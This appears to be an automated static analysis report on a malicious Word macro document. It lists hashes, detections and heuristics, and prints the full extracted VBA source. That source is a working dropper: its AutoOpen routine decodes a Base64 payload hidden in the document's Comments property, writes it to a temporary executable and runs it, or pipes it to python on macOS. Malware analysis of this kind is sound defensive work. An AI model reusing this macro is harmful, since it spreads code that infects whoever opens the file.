Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b8a1ecdac45c0d6c…

MALICIOUS

Office (OOXML)

195.4 KB Created: 2017-05-25 19:12:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-24
MD5: 303f486490b099a40f8786abd53fb7f8 SHA-1: fb834998ffd0a056fc435270702609f66bf5b377 SHA-256: b8a1ecdac45c0d6c815cc70031cb0549b3a8a4dec7adeb8b1e216549e52cbaa9
358 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Obfuscate

The sample contains a VBA macro with an AutoOpen subroutine that is designed to execute malicious code. The macro decodes a Base64 encoded string from the document's 'Comments' property, writes it to a temporary executable file (e.g., .exe), and then executes it using WScript.Shell. This indicates a downloader or dropper functionality, aiming to execute a second-stage payload.

Heuristics 9

  • ClamAV: Doc.Malware.Valyria-6923112-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6923112-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        f.Close
    CreateObject("WScript.Shell").Run (tmp_name)
End Sub
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
        f.Close
    CreateObject("WScript.Shell").Run (tmp_name)
End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        On Error Resume Next
    Set fso = CreateObject("Scripting.FileSystemObject")
    tmp_folder = fso.GetSpecialFolder(2)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
    On Error Resume Next
  • External hyperlinks (1) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 1 external hyperlink — clickable URLs are stored as external relationships. First target: http://www.punpunthailand.org/index901d.html?page_id=1501
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.punpunthailand.org/index901d.html?page_id=1501 Referenced by macro
    • http://www.motobit.comReferenced by macro
    • http://Motobit.czReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3033 bytes
SHA-256: 7ed4daa3d34c280ad6112ea3f3b25f5153aa28c6504436e8951e064a76abafeb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Public Declare PtrSafe Function system Lib "libc.dylib" (ByVal command As String) As Long

Sub AutoOpen()
    On Error Resume Next
    Dim found_value As String

    For Each prop In ActiveDocument.BuiltInDocumentProperties
        If prop.Name = "Comments" Then
            found_value = Mid(prop.Value, 56)
            orig_val = Base64Decode(found_value)
            #If Mac Then
                ExecuteForOSX (orig_val)
            #Else
                ExecuteForWindows (orig_val)
            #End If
            Exit For
        End If
    Next
End Sub

Sub ExecuteForWindows(code)
    On Error Resume Next
    Set fso = CreateObject("Scripting.FileSystemObject")
    tmp_folder = fso.GetSpecialFolder(2)
    tmp_name = tmp_folder + "\" + fso.GetTempName() + ".exe"
    Set f = fso.createTextFile(tmp_name)
    f.Write (code)
    f.Close
    CreateObject("WScript.Shell").Run (tmp_name)
End Sub

Sub ExecuteForOSX(code)
    system ("echo """ & code & """ | python &")
End Sub


' Decodes a base-64 encoded string (BSTR type).
' 1999 - 2004 Antonin Foller, http://www.motobit.com
' 1.01 - solves problem with Access And 'Compare Database' (InStr)
Function Base64Decode(ByVal base64String)
  'rfc1521
  '1999 Antonin Foller, Motobit Software, http://Motobit.cz
  Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  Dim dataLength, sOut, groupBegin
  
  base64String = Replace(base64String, vbCrLf, "")
  base64String = Replace(base64String, vbTab, "")
  base64String = Replace(base64String, " ", "")
  
  dataLength = Len(base64String)
  If dataLength Mod 4 <> 0 Then
    Err.Raise 1, "Base64Decode", "Bad Base64 string."
    Exit Function
  End If

  
  For groupBegin = 1 To dataLength Step 4
    Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
    numDataBytes = 3
    nGroup = 0

    For CharCounter = 0 To 3

      thisChar = Mid(base64String, groupBegin + CharCounter, 1)

      If thisChar = "=" Then
        numDataBytes = numDataBytes - 1
        thisData = 0
      Else
        thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
      End If
      If thisData = -1 Then
        Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
        Exit Function
      End If

      nGroup = 64 * nGroup + thisData
    Next
    
    nGroup = Hex(nGroup)
    
    nGroup = String(6 - Len(nGroup), "0") & nGroup
    
    pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
      Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
      Chr(CByte("&H" & Mid(nGroup, 5, 2)))
    
    sOut = sOut & Left(pOut, numDataBytes)
  Next

  Base64Decode = sOut
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 26624 bytes
SHA-256: af2bba77f8cae4ac16cbe6ea055e8584482837e20f0fe6f8f92540324d53744f
Detection
ClamAV: Doc.Malware.Valyria-6923112-0
Obfuscation or payload: unlikely

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